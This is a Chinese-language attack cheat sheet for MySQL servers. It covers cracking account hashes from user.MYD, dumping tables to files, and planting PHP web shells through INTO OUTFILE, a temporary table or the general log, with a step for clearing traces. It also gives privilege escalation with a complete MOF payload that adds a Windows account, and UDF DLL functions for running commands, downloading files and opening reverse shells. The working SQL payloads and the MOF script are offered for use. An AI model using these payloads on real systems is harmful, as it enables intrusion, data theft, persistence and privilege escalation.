密码读取
直接从配置文件中读取数据库账号密码
爆破账号密码
读取数据库目录中的user.MYD
,root
后的字符串为其用户加密值,在线解密或者hashcat
即可
脱库
利用条件:
权限为root
secure_file_priv
没有具体值
show global variables like '%secure_file_priv%'
; 查看secure_file_priv的值
secure_file_priv
的值为null
,表示限制mysqld
不允许导入|导出
secure_file_priv
的值为/tmp/
,表示限制mysqld
的导入|导出只能发生在/tmp/
目录下
secure_file_priv
的值没有具体值时,表示不对mysqld
的导入|导出做限制
Into outfile
select * from test into outfile '/tmp/test.txt'
Into dumpfile
select * from test into dumpfile '/tmp/test.txt'
out file 与 dump file的脱裤区别
1.dumpfile
只输出一行内容,outfile
多行。2.outfile
函数在将数据写入到文件时会进行特殊格式转换 例如\n
,则dumpfile
则保持原数据格式。
若我们想把一个可执行2进制文件用into outfile
函数导出,事实上导出后就会被破坏
因为into outfile
函数会在行末端写入新行 更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏
这时候我们用into dumpfile
就能导出一个完整能执行的2进制 文件
into dumpfile
函数不对任何列或行进行终止,也不执行任何转义处理
写Web Shell
利用条件:
权限为root
secure_file_priv
没有具体值
show global variables like '%secure_file_priv%'
; 查看secure_file_priv的
值
secure_file_priv
的值为null
,表示限制mysqld
不允许导入|导出
secure_file_priv
的值为/tmp/
,表示限制mysqld
的导入|导出只能发生在/tmp/
目录下
secure_file_priv
的值没有具体值时,表示不对mysqld
的导入|导出做限制
直接写入
select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php';
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php';
创建表
1.先创建数据表
CREATE table 'mysql'.'shell' ('webshell' text not null);
2.向表单中写入一句话
insert Into mysql.shell values('<?php $eval($_POST[shell]);?>');
3.查询数据导出webshell
select 'webshell' from 'shell' into outfile 'c:\\1.php';
4.删除表,清理痕迹。
drop table if exists 'shell';
日志
1.查看genera
文件配置情况
show global variables like "%genera%";
2.开启日志记录
set global general_log='on';
3.日志文件导出指定目录
set global general_log_file='C:/phpstudy/WWW/hp.php';
4.记录sql语句写马,演示一下,没有安全狗,直接传原马
select '<?php @eval($_POST["hp"]); ?>';
5.关闭记录
set global general_log=off;
提权
mof
提权
MOF
提权的条件要求十分严苛:
windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof
目录
secure-file-priv参数不为null
MOF文件:托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
公开的nullevt.mof利用代码:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
MOF文件利用:
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:\Documents and Settings\test
根据前面的phpmyadmin
,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下payload:
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
值得一提的是,这里不能使用outfile
,因为会在末端写入新行,因此mof
在被当作二进制文件无法正常执行,所以我们用dumpfile
导出一行数据。
验证提权:
当我们成功把mof
导出时,mof
就会直接被执行,且5
秒创建一次用户。
可以看到,我们在test
的普通用户下直接添加了hpdoger
用户。剩下的操作就是用户命令处,换成加入administrator
语句即可:
net.exe user localgroup administrator hpdoger /add\
关于MOF
提权的弊端:
我们提权成功后,就算被删号,mof
也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
重启服务即可。
udf提权
什么是udf:UDF(user-defined function)
是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
提权分析:udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
导出dll到指定目录:利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求
Mysql版本小于5.1版本。udf.dll
文件在Windows2003
下放置于c:\windows\system32
,在windows2000
下放置于c:\winnt\system32
。
Mysql
版本大于5.1
版本udf.dll
文件必须放置于MYSQL
安装目录下的lib\plugin
文件夹下。
但是大于5.1
版本的时候没有plugin
这个文件夹,需要我们自己创建。
将udf
的自定义函数引入:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll'
#引入sys_eval
函数
其中,sys_eval
函数是执行任意命令,并将输出返回函数的名字,hpudf.dll
是你导出文件的名字;
常见的函数如下:
cmdshell
执行cmd;
downloader
下载者,到网上下载指定文件并保存到指定目录;
open3389
通用开3389终端服务,可指定端口(不改端口无需重启);
backshell
反弹Shell;
ProcessView
枚举系统进程;
KillProcess
终止指定进程;
regread
读注册表;
regwrite
写注册表;
shut
关机,注销,重启;
about
说明与帮助函数;
执行命令:
select sys_eval('ipconfig');
添加用户/管理员